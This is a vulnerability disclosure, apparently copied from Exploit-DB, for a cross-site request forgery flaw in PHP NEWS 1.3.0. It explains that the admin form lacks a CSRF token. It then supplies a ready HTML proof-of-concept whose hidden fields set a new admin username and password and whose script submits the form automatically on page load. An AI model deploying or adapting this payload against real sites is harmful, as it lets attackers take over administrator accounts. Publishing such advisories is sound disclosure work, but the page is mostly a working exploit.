PHP NEWS 1.3.0 – Cross-Site Request Forgery (Add Admin)

  • 作者： Meryem AKDOĞAN
    日期： 2016-10-16
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  • 来源：https://www.exploit-db.com/exploits/40557/
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# Exploit Title: PHP NEWS 1.3.0 - Cross-Site Request Forgery (Add Admin)
# Author: Meryem AKDOĞAN
# Google Dork: -
# Date: 16/10/2016
# Type: webapps
# Platform : PHP
# Vendor Homepage: http://newsphp.sourceforge.net
# Software Link: https://sourceforge.net/projects/newsphp/
# Version: 1.3.0
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DETAILS
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PHP NEWS 1.3.0 versions is vulnerable to CSRF attack (No CSRF token in
place) meaning that if an admin user can be tricked to visit a crafted URL
created
by attacker (via spear phishing/social engineering), a form will be
submitted to (http://sitename/path/index.php) that will change admin
password.

Once exploited, the attacker can login to the admin panel using the
username and the password he posted in the form.


RISK
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Attacker can change admin password with this vulnerablity



TECHNICAL DETAILS & POC
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<html>
<!— CSRF PoC —>
<body>
<form action="
http://site_name/phpnews/index.php?action=modifynewsposter3" method="POST">
<input type="hidden" name="id" value="7" />
<input type="hidden" name="newusername" value="meryem akdogan" />
<input type="hidden" name="username" value="meryem" />
<input type="hidden" name="password" value="meryem123." />
<input type="hidden" name="password2" value="meryem123." />
<input type="hidden" name="email" value="b&#64;gmail&#46;com" />
<input type="hidden" name="language" value="en&#95;GB" />
<input type="submit" value="Submit request" />
</form>
<script>
document.forms[0].submit();
</script>
</body>
</html>

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